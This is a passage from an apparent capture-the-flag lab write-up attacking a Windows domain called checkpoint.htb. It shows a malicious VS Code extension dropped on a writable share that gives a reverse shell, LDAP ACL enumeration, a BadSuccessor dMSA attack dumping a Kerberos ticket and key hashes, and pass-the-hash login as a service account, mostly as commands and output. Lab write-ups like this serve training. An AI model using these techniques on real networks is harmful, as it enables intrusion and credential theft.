<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving ticket <span class="k">in </span>mark.davies.ccache
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="ryanbrooks-via-malicious-vsix">Ryan.Brooks via Malicious VSIX</h2>

<p>Taking a look around <code class="language-plaintext highlighter-rouge">Mark.Davies</code> has access to the <code class="language-plaintext highlighter-rouge">DevDrop</code> share which has a very interesting Description.</p>
<div class="language-bash filename=&quot;DevDrop highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre>checkpoint.htb/mark.davies@CHECKPOINT.HTB ~/htb/labs/checkpoint <span class="nv">$ </span>nxc smb DC01.CHECKPOINT.HTB <span class="nt">-k</span> <span class="nt">--use-kcache</span> <span class="nt">--shares</span>
SMB         DC01.CHECKPOINT.HTB 445    DC01             <span class="o">[</span><span class="k">*</span><span class="o">]</span> Windows 11 / Server 2025 Build 26100 x64 <span class="o">(</span>name:DC01<span class="o">)</span> <span class="o">(</span>domain:checkpoint.htb<span class="o">)</span> <span class="o">(</span>signing:True<span class="o">)</span> <span class="o">(</span>SMBv1:None<span class="o">)</span>
SMB         DC01.CHECKPOINT.HTB 445    DC01             <span class="o">[</span>+] CHECKPOINT.HTB<span class="se">\m</span>ark.davies from ccache 
SMB         DC01.CHECKPOINT.HTB 445    DC01             <span class="o">[</span><span class="k">*</span><span class="o">]</span> Enumerated shares
SMB         DC01.CHECKPOINT.HTB 445    DC01             Share           Permissions            Remark
SMB         DC01.CHECKPOINT.HTB 445    DC01             <span class="nt">-----</span>           <span class="nt">-----------</span>            <span class="nt">------</span>
SMB         DC01.CHECKPOINT.HTB 445    DC01             ADMIN<span class="nv">$ </span>                                Remote Admin
SMB         DC01.CHECKPOINT.HTB 445    DC01             C<span class="nv">$ </span>                                    Default share
SMB         DC01.CHECKPOINT.HTB 445    DC01             DevDrop         READ,WRITE             VS Code extensions share <span class="k">for </span>approved .vsix packages compatible with VS Code engine 1.118.0
SMB         DC01.CHECKPOINT.HTB 445    DC01             IPC<span class="nv">$ </span>           READ                   Remote IPC
SMB         DC01.CHECKPOINT.HTB 445    DC01             NETLOGON        READ                   Logon server share 
SMB         DC01.CHECKPOINT.HTB 445    DC01             SYSVOL          READ                   Logon server share 
SMB         DC01.CHECKPOINT.HTB 445    DC01             VMBackups 
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ll be using this repository: <a href="https://github.com/securezeron/VsCodeExtLure">VsCodeExtLure</a> to generate a malicious <code class="language-plaintext highlighter-rouge">VSCodeExtension</code> for me, after which I’ll put the resulting file into the DevDrop share.</p>
<div class="language-bash filename=&quot;Malicious highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre>checkpoint.htb/mark.davies@CHECKPOINT.HTB ~/htb/labs/checkpoint <span class="nv">$ </span>smbclient.py <span class="s1">'CHECKPOINT.HTB/mark.davies@DC01.CHECKPOINT.HTB'</span> <span class="nt">-k</span> <span class="nt">-no-pass</span>  
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies 

Type <span class="nb">help </span><span class="k">for </span>list of commands
<span class="c"># shares</span>
ADMIN<span class="err">$</span>
C<span class="err">$</span>
DevDrop
IPC<span class="err">$</span>
NETLOGON
SYSVOL
VMBackups
<span class="c"># use DevDrop</span>
<span class="c"># put VsCodeExtLure/Zeron-CySec/Zeron-CySec-0.0.1.vsix</span>
<span class="c"># ls</span>
drw-rw-rw-          0  Mon Jun 15 12:08:11 2026 <span class="nb">.</span>
drw-rw-rw-          0  Sat May  9 10:42:27 2026 ..
<span class="nt">-rw-rw-rw-</span>       3447  Mon Jun 15 12:07:52 2026 Zeron-CySec-0.0.1.vsix
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I immediately get a callback on my <code class="language-plaintext highlighter-rouge">revShell</code> listener.</p>
<div class="language-powershell filename=&quot;Malicious highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre><span class="n">~/htb/labs/checkpoint/VsCodeExtLure/Zeron-CySec</span><span class="w"> </span><span class="err">$</span><span class="w"> </span><span class="nx">nc</span><span class="w"> </span><span class="nt">-lvnp</span><span class="w"> </span><span class="nx">9098</span><span class="w">
</span><span class="n">listening</span><span class="w"> </span><span class="nx">on</span><span class="w"> </span><span class="p">[</span><span class="n">any</span><span class="p">]</span><span class="w"> </span><span class="nx">9098</span><span class="w"> </span><span class="o">...</span><span class="w">
</span><span class="n">connect</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="p">[</span><span class="mf">10.10</span><span class="o">.</span><span class="nf">14</span><span class="o">.</span><span class="nf">3</span><span class="p">]</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="p">(</span><span class="n">UNKNOWN</span><span class="p">)</span><span class="w"> </span><span class="p">[</span><span class="mf">10.129</span><span class="o">.</span><span class="nf">1</span><span class="o">.</span><span class="nf">29</span><span class="p">]</span><span class="w"> </span><span class="mi">52593</span><span class="w">
</span><span class="n">whoami</span><span class="w">
</span><span class="nx">checkpoint\ryan.brooks</span><span class="w">
</span><span class="err">&lt;</span><span class="n">SNIP</span><span class="err">&gt;</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Users\ryan.brooks\Desktop</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">ls</span><span class="w">


    </span><span class="n">Directory:</span><span class="w"> </span><span class="nx">C:\Users\ryan.brooks\Desktop</span><span class="w">


</span><span class="n">Mode</span><span class="w">                 </span><span class="nx">LastWriteTime</span><span class="w">         </span><span class="nx">Length</span><span class="w"> </span><span class="nx">Name</span><span class="w">                                                                                                                                                                                                                       
</span><span class="o">----</span><span class="w">                 </span><span class="o">-------------</span><span class="w">         </span><span class="o">------</span><span class="w"> </span><span class="o">----</span><span class="w">                                                                                                                                                                                                                       
</span><span class="nt">-ar</span><span class="o">---</span><span class="w">         </span><span class="mi">6</span><span class="n">/15/2026</span><span class="w">   </span><span class="nx">8:37</span><span class="w"> </span><span class="nx">AM</span><span class="w">             </span><span class="nx">34</span><span class="w"> </span><span class="nx">user.txt</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">user</code> flag.</p>

<h1 id="root">Root</h1>

<h2 id="svc_deploy-via-badsuccessor">svc_deploy via BadSuccessor</h2>

<p>Let’s take a look at the <code class="language-plaintext highlighter-rouge">ryan.brooks</code> user.</p>
<div class="language-bash filename=&quot;Ryan highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
</pre></td><td class="rouge-code"><pre>checkpoint.htb/alex.turner@ldap/dc01.checkpoint.htb@CHECKPOINT.HTB ~/htb/labs/checkpoint <span class="nv">$ </span>bloodyAD <span class="nt">-v</span> TRACE <span class="nt">-H</span> DC01.CHECKPOINT.HTB <span class="nt">-d</span> CHECKPOINT.HTB <span class="nt">-k</span> get object <span class="s2">"ryan.brooks"</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Connection URL: ldap+kerberos-ccache://CHECKPOINT.HTB<span class="se">\N</span>one:alex.turner.ccache@DC01.CHECKPOINT.HTB/?serverip<span class="o">=</span>10.129.1.29&amp;dc<span class="o">=</span>10.129.1.29
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Trying to connect to DC01.CHECKPOINT.HTB...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Connection successful

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Ryan Brooks,OU<span class="o">=</span>Employees,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
accountExpires: 9999-12-31 23:59:59.999999+00:00
badPasswordTime: 2026-05-13 14:14:37.287556+00:00
badPwdCount: 0
cn: Ryan Brooks
codePage: 0
countryCode: 0
dSCorePropagationData: 2026-05-10 13:15:06+00:00
givenName: Ryan
instanceType: 4
lastLogoff: 1601-01-01 00:00:00+00:00
lastLogon: 2026-06-15 15:38:11.339788+00:00
lastLogonTimestamp: 2026-06-09 17:30:52.872436+00:00
logonCount: 614
memberOf: <span class="nv">CN</span><span class="o">=</span>DevTeam,OU<span class="o">=</span>Engineering,OU<span class="o">=</span>Employees,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>VPN-Users,OU<span class="o">=</span>Employees,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
nTSecurityDescriptor: O:S-1-5-21-3129162710-3498938529-1807524340-512G:S-1-5-21-3129162710-3498938529-1807524340-512D:AI<span class="o">(</span>OA<span class="p">;;</span>RP<span class="p">;</span>4c164200-20c0-11d0-a768-00aa006e0529<span class="p">;;</span>S-1-5-21-3129162710-3498938529-1807524340-553<span class="o">)(</span>OA<span class="p">;;</span>RP<span class="p">;</span>5f202010-79a5-11d0-9020-00c04fc2d4cf<span class="p">;;</span>S-1-5-21-3129162710-3498938529-1807524340-553<span class="o">)(</span>OA<span class="p">;;</span>RP<span class="p">;</span>bc0ac240-79a9-11d0-9020-00c04fc2d4cf<span class="p">;;</span>S-1-5-21-3129162710-3498938529-1807524340-553<span class="o">)(</span>OA<span class="p">;;</span>RP<span class="p">;</span>037088f8-0ae1-11d2-b422-00a0c968f939<span class="p">;;</span>S-1-5-21-3129162710-3498938529-1807524340-553<span class="o">)(</span>OA<span class="p">;;</span>0x30<span class="p">;</span>bf967a7f-0de6-11d0-a285-00aa003049e2<span class="p">;;</span>S-1-5-21-3129162710-3498938529-1807524340-517<span class="o">)(</span>OA<span class="p">;;</span>RP<span class="p">;</span>46a9b11d-60ae-405a-b7e8-ff8a58d456d2<span class="p">;;</span>S-1-5-32-560<span class="o">)(</span>OA<span class="p">;;</span>0x30<span class="p">;</span>6db69a1c-9422-11d1-aebd-0000f80367c1<span class="p">;;</span>S-1-5-32-561<span class="o">)(</span>OA<span class="p">;;</span>0x30<span class="p">;</span>5805bc62-bdc9-4428-a5e2-856a0f4c185e<span class="p">;;</span>S-1-5-32-561<span class="o">)(</span>OA<span class="p">;;</span>CR<span class="p">;</span>ab721a53-1e2f-11d0-9819-00aa0040529b<span class="p">;;</span>S-1-1-0<span class="o">)(</span>OA<span class="p">;;</span>CR<span class="p">;</span>ab721a53-1e2f-11d0-9819-00aa0040529b<span class="p">;;</span>S-1-5-10<span class="o">)(</span>OA<span class="p">;;</span>CR<span class="p">;</span>ab721a54-1e2f-11d0-9819-00aa0040529b<span class="p">;;</span>S-1-5-10<span class="o">)(</span>OA<span class="p">;;</span>CR<span class="p">;</span>ab721a56-1e2f-11d0-9819-00aa0040529b<span class="p">;;</span>S-1-5-10<span class="o">)(</span>OA<span class="p">;;</span>RP<span class="p">;</span>59ba2f42-79a2-11d0-9020-00c04fc2d3cf<span class="p">;;</span>S-1-5-11<span class="o">)(</span>OA<span class="p">;;</span>RP<span class="p">;</span>e48d0154-bcf8-11d1-8702-00c04fb96050<span class="p">;;</span>S-1-5-11<span class="o">)(</span>OA<span class="p">;;</span>RP<span class="p">;</span>77b5b886-944a-11d1-aebd-0000f80367c1<span class="p">;;</span>S-1-5-11<span class="o">)(</span>OA<span class="p">;;</span>RP<span class="p">;</span>e45795b3-9455-11d1-aebd-0000f80367c1<span class="p">;;</span>S-1-5-11<span class="o">)(</span>OA<span class="p">;;</span>0x30<span class="p">;</span>77b5b886-944a-11d1-aebd-0000f80367c1<span class="p">;;</span>S-1-5-10<span class="o">)(</span>OA<span class="p">;;</span>0x30<span class="p">;</span>e45795b2-9455-11d1-aebd-0000f80367c1<span class="p">;;</span>S-1-5-10<span class="o">)(</span>OA<span class="p">;;</span>0x30<span class="p">;</span>e45795b3-9455-11d1-aebd-0000f80367c1<span class="p">;;</span>S-1-5-10<span class="o">)(</span>A<span class="p">;;</span>0xf01ff<span class="p">;;;</span>S-1-5-21-3129162710-3498938529-1807524340-512<span class="o">)(</span>A<span class="p">;;</span>0xf01ff<span class="p">;;;</span>S-1-5-32-548<span class="o">)(</span>A<span class="p">;;</span>RC<span class="p">;;;</span>S-1-5-11<span class="o">)(</span>A<span class="p">;;</span>0x20094<span class="p">;;;</span>S-1-5-10<span class="o">)(</span>A<span class="p">;;</span>0xf01ff<span class="p">;;;</span>S-1-5-18<span class="o">)(</span>OA<span class="p">;</span>CIIOID<span class="p">;</span>RP<span class="p">;</span>4c164200-20c0-11d0-a768-00aa006e0529<span class="p">;</span>4828cc14-1437-45bc-9b07-ad6f015e5f28<span class="p">;</span>S-1-5-32-554<span class="o">)(</span>OA<span class="p">;</span>CIID<span class="p">;</span>RP<span class="p">;</span>4c164200-20c0-11d0-a768-00aa006e0529<span class="p">;</span>bf967aba-0de6-11d0-a285-00aa003049e2<span class="p">;</span>S-1-5-32-554<span class="o">)(</span>OA<span class="p">;</span>CIIOID<span class="p">;</span>RP<span class="p">;</span>5f202010-79a5-11d0-9020-00c04fc2d4cf<span class="p">;</span>4828cc14-1437-45bc-9b07-ad6f015e5f28<span class="p">;</span>S-1-5-32-554<span class="o">)(</span>OA<span class="p">;</span>CIID<span class="p">;</span>RP<span class="p">;</span>5f202010-79a5-11d0-9020-00c04fc2d4cf<span class="p">;</span>bf967aba-0de6-11d0-a285-00aa003049e2<span class="p">;</span>S-1-5-32-554<span class="o">)(</span>OA<span class="p">;</span>CIIOID<span class="p">;</span>RP<span class="p">;</span>bc0ac240-79a9-11d0-9020-00c04fc2d4cf<span class="p">;</span>4828cc14-1437-45bc-9b07-ad6f015e5f28<span class="p">;</span>S-1-5-32-554<span class="o">)(</span>OA<span class="p">;</span>CIID<span class="p">;</span>RP<span class="p">;</span>bc0ac240-79a9-11d0-9020-00c04fc2d4cf<span class="p">;</span>bf967aba-0de6-11d0-a285-00aa003049e2<span class="p">;</span>S-1-5-32-554<span class="o">)(</span>OA<span class="p">;</span>CIIOID<span class="p">;</span>RP<span class="p">;</span>59ba2f42-79a2-11d0-9020-00c04fc2d3cf<span class="p">;</span>4828cc14-1437-45bc-9b07-ad6f015e5f28<span class="p">;</span>S-1-5-32-554<span class="o">)(</span>OA<span class="p">;</span>CIID<span class="p">;</span>RP<span class="p">;</span>59ba2f42-79a2-11d0-9020-00c04fc2d3cf<span class="p">;</span>bf967aba-0de6-11d0-a285-00aa003049e2<span class="p">;</span>S-1-5-32-554<span class="o">)(</span>OA<span class="p">;</span>CIIOID<span class="p">;</span>RP<span class="p">;</span>037088f8-0ae1-11d2-b422-00a0c968f939<span class="p">;</span>4828cc14-1437-45bc-9b07-ad6f015e5f28<span class="p">;</span>S-1-5-32-554<span class="o">)(</span>OA<span class="p">;</span>CIID<span class="p">;</span>RP<span class="p">;</span>037088f8-0ae1-11d2-b422-00a0c968f939<span class="p">;</span>bf967aba-0de6-11d0-a285-00aa003049e2<span class="p">;</span>S-1-5-32-554<span class="o">)(</span>OA<span class="p">;</span>CIID<span class="p">;</span>0x30<span class="p">;</span>5b47d60f-6090-40b2-9f37-2a4de88f3063<span class="p">;;</span>S-1-5-21-3129162710-3498938529-1807524340-526<span class="o">)(</span>OA<span class="p">;</span>CIID<span class="p">;</span>0x30<span class="p">;</span>5b47d60f-6090-40b2-9f37-2a4de88f3063<span class="p">;;</span>S-1-5-21-3129162710-3498938529-1807524340-527<span class="o">)(</span>OA<span class="p">;</span>CIIOID<span class="p">;</span>SW<span class="p">;</span>9b026da6-0d3c-465c-8bee-5199d7165cba<span class="p">;</span>bf967a86-0de6-11d0-a285-00aa003049e2<span class="p">;</span>S-1-3-0<span class="o">)(</span>OA<span class="p">;</span>CIIOID<span class="p">;</span>SW<span class="p">;</span>9b026da6-0d3c-465c-8bee-5199d7165cba<span class="p">;</span>bf967a86-0de6-11d0-a285-00aa003049e2<span class="p">;</span>S-1-5-10<span class="o">)(</span>OA<span class="p">;</span>CIIOID<span class="p">;</span>RP<span class="p">;</span>b7c69e6d-2cc7-11d2-854e-00a0c983f608<span class="p">;</span>bf967a86-0de6-11d0-a285-00aa003049e2<span class="p">;</span>S-1-5-9<span class="o">)(</span>OA<span class="p">;</span>CIIOID<span class="p">;</span>RP<span class="p">;</span>b7c69e6d-2cc7-11d2-854e-00a0c983f608<span class="p">;</span>bf967a9c-0de6-11d0-a285-00aa003049e2<span class="p">;</span>S-1-5-9<span class="o">)(</span>OA<span class="p">;</span>CIID<span class="p">;</span>RP<span class="p">;</span>b7c69e6d-2cc7-11d2-854e-00a0c983f608<span class="p">;</span>bf967aba-0de6-11d0-a285-00aa003049e2<span class="p">;</span>S-1-5-9<span class="o">)(</span>OA<span class="p">;</span>CIIOID<span class="p">;</span>WP<span class="p">;</span>ea1b7b93-5e48-46d5-bc6c-4df4fda78a35<span class="p">;</span>bf967a86-0de6-11d0-a285-00aa003049e2<span class="p">;</span>S-1-5-10<span class="o">)(</span>OA<span class="p">;</span>CIIOID<span class="p">;</span>0x20094<span class="p">;;</span>4828cc14-1437-45bc-9b07-ad6f015e5f28<span class="p">;</span>S-1-5-32-554<span class="o">)(</span>OA<span class="p">;</span>CIIOID<span class="p">;</span>0x20094<span class="p">;;</span>bf967a9c-0de6-11d0-a285-00aa003049e2<span class="p">;</span>S-1-5-32-554<span class="o">)(</span>OA<span class="p">;</span>CIID<span class="p">;</span>0x20094<span class="p">;;</span>bf967aba-0de6-11d0-a285-00aa003049e2<span class="p">;</span>S-1-5-32-554<span class="o">)(</span>OA<span class="p">;</span>OICIID<span class="p">;</span>0x30<span class="p">;</span>3f78c3e5-f79a-46bd-a0b8-9d18116ddc79<span class="p">;;</span>S-1-5-10<span class="o">)(</span>OA<span class="p">;</span>CIID<span class="p">;</span>0x130<span class="p">;</span>91e647de-d96f-4b70-9557-d63ff4f3ccd8<span class="p">;;</span>S-1-5-10<span class="o">)(</span>A<span class="p">;</span>CIID<span class="p">;</span>0xf01ff<span class="p">;;;</span>S-1-5-21-3129162710-3498938529-1807524340-519<span class="o">)(</span>A<span class="p">;</span>CIID<span class="p">;</span>LC<span class="p">;;;</span>S-1-5-32-554<span class="o">)(</span>A<span class="p">;</span>CIID<span class="p">;</span>0xf01bd<span class="p">;;;</span>S-1-5-32-544<span class="o">)</span>
name: Ryan Brooks
objectCategory: <span class="nv">CN</span><span class="o">=</span>Person,CN<span class="o">=</span>Schema,CN<span class="o">=</span>Configuration,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
objectClass: top<span class="p">;</span> person<span class="p">;</span> organizationalPerson<span class="p">;</span> user
objectGUID: 5b577ab6-a0fe-4332-885c-1ad5bdffbd8f
objectSid: S-1-5-21-3129162710-3498938529-1807524340-1103
primaryGroupID: 513
pwdLastSet: 2026-05-10 13:46:18.765924+00:00
sAMAccountName: ryan.brooks
sAMAccountType: 805306368
sn: Brooks
uSNChanged: 143411
uSNCreated: 12777
userAccountControl: NORMAL_ACCOUNT<span class="p">;</span> DONT_EXPIRE_PASSWORD
userPrincipalName: ryan.brooks@checkpoint.htb
whenChanged: 2026-06-09 17:30:52+00:00
whenCreated: 2026-05-09 09:01:06+00:00
</pre></td></tr></tbody></table></code></pre></div></div>

<p>He has an <code class="language-plaintext highlighter-rouge">ObjectSid</code> of <code class="language-plaintext highlighter-rouge">S-1-5-21-3129162710-3498938529-1807524340-1103</code> which when searched through <code class="language-plaintext highlighter-rouge">ACLs</code> we find has <code class="language-plaintext highlighter-rouge">GenericWrite</code> on <code class="language-plaintext highlighter-rouge">svc_deploy</code></p>

<div class="language-plaintext filename=&quot;That's highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>distinguishedName: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
&lt;SNIP&gt;
nTSecurityDescriptor.ACL.9.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.9.Trustee: S-1-5-21-3129162710-3498938529-1807524340-1103
nTSecurityDescriptor.ACL.9.Right: GENERIC_WRITE
nTSecurityDescriptor.ACL.9.ObjectType: Self
</pre></td></tr></tbody></table></code></pre></div></div>

<p>As well as <code class="language-plaintext highlighter-rouge">CREATE_CHILD</code> on <code class="language-plaintext highlighter-rouge">DMSAHolder</code></p>
<div class="language-bash filename=&quot;That's highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>distinguishedName: <span class="nv">OU</span><span class="o">=</span>DMSAHolder,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
nTSecurityDescriptor.ACL.3.Type: <span class="o">==</span> ALLOWED <span class="o">==</span>
nTSecurityDescriptor.ACL.3.Trustee: S-1-5-21-3129162710-3498938529-1807524340-1103
nTSecurityDescriptor.ACL.3.Right: CREATE_CHILD
nTSecurityDescriptor.ACL.3.ObjectType: Self
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s exploit this with a <code class="language-plaintext highlighter-rouge">BadSuccessor</code> attack which will create a malicious <code class="language-plaintext highlighter-rouge">DMSA</code> account listing the targeted <code class="language-plaintext highlighter-rouge">service</code> account as the <code class="language-plaintext highlighter-rouge">predecessor</code> which is checked by the <code class="language-plaintext highlighter-rouge">DC</code> upon authenticaiton against the <code class="language-plaintext highlighter-rouge">service</code>.</p>
<div class="language-bash filename=&quot;The highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
</pre></td><td class="rouge-code"><pre>checkpoint.htb/ryan.brooks@CHECKPOINT.HTB ~/htb/labs/checkpoint <span class="nv">$ </span>bloodyAD <span class="nt">-H</span> DC01.CHECKPOINT.HTB <span class="nt">-d</span> CHECKPOINT.HTB <span class="nt">-k</span> <span class="nt">-u</span> <span class="s1">'ryan.brooks'</span> add badSuccessor w1ld <span class="nt">-t</span> <span class="s2">"CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb"</span> <span class="nt">--ou</span> <span class="s2">"OU=DMSAHolder,DC=checkpoint,DC=htb"</span>
<span class="o">[</span>+] Creating DMSA w1ld<span class="nv">$ </span><span class="k">in </span><span class="nv">OU</span><span class="o">=</span>DMSAHolder,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
<span class="o">[</span>+] Impersonating: <span class="nv">CN</span><span class="o">=</span>svc_deploy,OU<span class="o">=</span>ServiceAccounts,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb

Realm        : CHECKPOINT.HTB
Sname        : krbtgt/CHECKPOINT.HTB
UserName     : w1ld<span class="err">$</span>
UserRealm    : checkpoint.htb
StartTime    : 2026-06-15 16:29:55+00:00
EndTime      : 2026-06-16 02:13:03+00:00
RenewTill    : 2026-06-22 16:13:03+00:00
Flags        : enc-pa-rep, forwardable, forwarded, pre-authent, renewable
Keytype      : 18
Key          : aC/brhNP6Z1O7KsvkM/ZhSFmbWruBFXu3/C4KLwWIjY<span class="o">=</span>
EncodedKirbi : 

    doIFsTCCBa2gAwIBBaEDAgEWooIEojCCBJ5hggSaMIIElqADAgEFoRAbDkNIRUNLUE9JTlQuSFRCoiMwIaADAgECoRowGBsGa3Ji
    dGd0Gw5DSEVDS1BPSU5ULkhUQqOCBFYwggRSoAMCARKhAwIBAqKCBEQEggRA8W/OD5zW6N4XoNcYckZn+KS9zN9VP4S/X6O7uGSD
    BNva1N/Q2urN+Mt3saA2LMcYu+lMbg8xrXVkmHpCY+NkVeYRhYjsjFnY2V+U4wP/Y+SzwW0eQyHOELCxuhYhVwiA/0zo1BDPaT4q
    HmvcdiG+Q9Rzoi/kItNMWLD4TCdj5nW1gVgWUrzcKRpUbS821T3VJIsALDzhmHjxjjgUcJapZpQLqw27GlR9ZzH+0zPyE2ojWikJ
    Qv3NYlT5zv2SGE9MdTkHNxZyPL28d+siBz4ZZicc1sgL2YWkDuGOTn50370akuFv4HYAGgT21ig3TW25TlZvWBL7seQRTlJVABTi
    S++ob6FVaPeKgtUbXYyZAewqkFc+sRBP5037BpsnebLiG3OIk9HdS1VIAXciqYkVYiRI2eGH0BnvPYOpU065P84dhDcHLs3ebr7+
    XjCrbLlRd0WD6bzIs5mW91J5nQgOUEOrLiipnzcRk7JsMCUPxCX6YkbRdN4j35cDdWqSe6riDXNjgajjoO1VhlKgghPFjX3t6fvD
    Iz3+hkeNK+0bgI8ZCBisyE6N7AzjpBVpl+cr+DBxxGjI134DfVkbT/zvdJdd1lglaXTzZ62Cx5CMNH8gGK8dVh0vRmhU/0sZbxfj
    aE9Knqg9z6omHz3skRp9cPhJ7NAxvXXaND2QAX/Q5g6ktI/v10kUsb97bN9oj0/4U+BeJLyg++2ppGfvFZ5yR/2BZ8TaG/yU/J2G
    mYdJH/Ukj3p74Qr5uvVPLFJ3nUcBxBU3dLC0i/b5Z80vE03uWxZ4f+GQs4LLQOl5v/WJHMx4359vkUYinrzPubnf2+D46Adm3Z5q
    WojNdA5ThOJBzfFczzwxFuPPAs/posV9T1ft4qkS02KtMsmjxrmDzb2dUDQvPh3JQ2LEU16SuZXjEZ8lalvjrVkw0sZQQ9O7+fuf
    bssyphI0axsjVoUe3rOAFI6sZzjptdOgnuKu6NeM3ZXBvdb2rGF4gfQz22k3qJCvQfVwWZF3ieZfXAfHK9zZJ/XhZeg81MBUFJKo
    QWA/sOQS9g0p9hl+gD7d9s2Qkm1Oelo27al+QetB+YngT5wUtDJFlwOau0udx5KIYxSYCKKNiiNzNOBBAdhb+gQi/6Bw8wZU9rnN
    GuyyTTcDnuYogSkogugRrgGCmCpyn+V7ou2A9uUHQb/VV8JLJDFUryAuVHGcMgqhUG1IAN7rzw8IzsNHbvrD7j0AZuVkhRxSOPHN
    fqf5C82NtgXsBLsvZ7/GASW7UFZjPjd19if8zROy9Az5YmcZzBv/2fw4iJXRhiz2BjZXh1UKDhTAKr5HVDiXhNsoFKsu6n5IsKSb
    DUQAGavbdXFK8zaoKPK1XGTXMukpX5MjDHgGJZTRHbTNoZ1LRlPYLf9GBIpLBJ7cS9+L9IEuSJ7Dp8vqbxNzfw+vUJ6UUCvaE7Am
    xTbHDBIz2BqjgfowgfegAwIBAKKB7wSB7H2B6TCB5qCB4zCB4DCB3aArMCmgAwIBEqEiBCBoL9uuE0/pnU7sqy+Qz9mFIWZtau4E
    Ve7f8LgovBYiNqEQGw5jaGVja3BvaW50Lmh0YqISMBCgAwIBAaEJMAcbBXcxbGQkowUDAwBgoaQRGA8yMDI2MDYxNTE2MTMwM1ql
    ERgPMjAyNjA2MTUxNjI5NTVaphEYDzIwMjYwNjE2MDIxMzAzWqcRGA8yMDI2MDYyMjE2MTMwM1qoEBsOQ0hFQ0tQT0lOVC5IVEKp
    IzAhoAMCAQKhGjAYGwZrcmJ0Z3QbDkNIRUNLUE9JTlQuSFRC
<span class="o">[</span>+] dMSA TGT stored <span class="k">in </span>ccache file w1ld_cJ.ccache

dMSA current keys found <span class="k">in </span>TGS:
AES256: 4b2700c8d64a559c256ace6ff23d90054df26068c881f6c3e0eb55b375ef6d4b
AES128: 0ff1ff497bdd4e8dc3d72422aaff9fd1
RC4: e6bbfced013b7b06326f9e4b372c6e4c

dMSA previous keys found <span class="k">in </span>TGS <span class="o">(</span>including keys of preceding managed accounts<span class="o">)</span>:
RC4: e16[REDACTED]
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">previous keys found</code> shows us the <code class="language-plaintext highlighter-rouge">RC4</code> hash of the <code class="language-plaintext highlighter-rouge">predecessor</code> service account which is <code class="language-plaintext highlighter-rouge">svc_deploy</code>. Let’s <code class="language-plaintext highlighter-rouge">PTH</code></p>

<div class="language-bash filename=&quot;Landed highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="rouge-code"><pre>~/htb/labs/checkpoint <span class="nv">$ </span>nxc ldap CHECKPOINT.HTB <span class="nt">-u</span> <span class="s1">'svc_deploy'</span> <span class="nt">-H</span> <span class="o">[</span>REDACTED] <span class="nt">-M</span> <span class="nb">whoami
</span>LDAP        10.129.1.29     389    DC01             <span class="o">[</span><span class="k">*</span><span class="o">]</span> Windows 11 / Server 2025 Build 26100 <span class="o">(</span>name:DC01<span class="o">)</span> <span class="o">(</span>domain:checkpoint.htb<span class="o">)</span> <span class="o">(</span>signing:Enforced<span class="o">)</span> <span class="o">(</span>channel binding:No TLS cert<span class="o">)</span> 
LDAP        10.129.1.29     389    DC01             <span class="o">[</span>+] checkpoint.htb<span class="se">\s</span>vc_deploy:[REDACTED] 
WHOAMI      10.129.1.29     389    DC01             Name: svc_deploy
WHOAMI      10.129.1.29     389    DC01             Description: Deployment service account
WHOAMI      10.129.1.29     389    DC01             sAMAccountName: svc_deploy
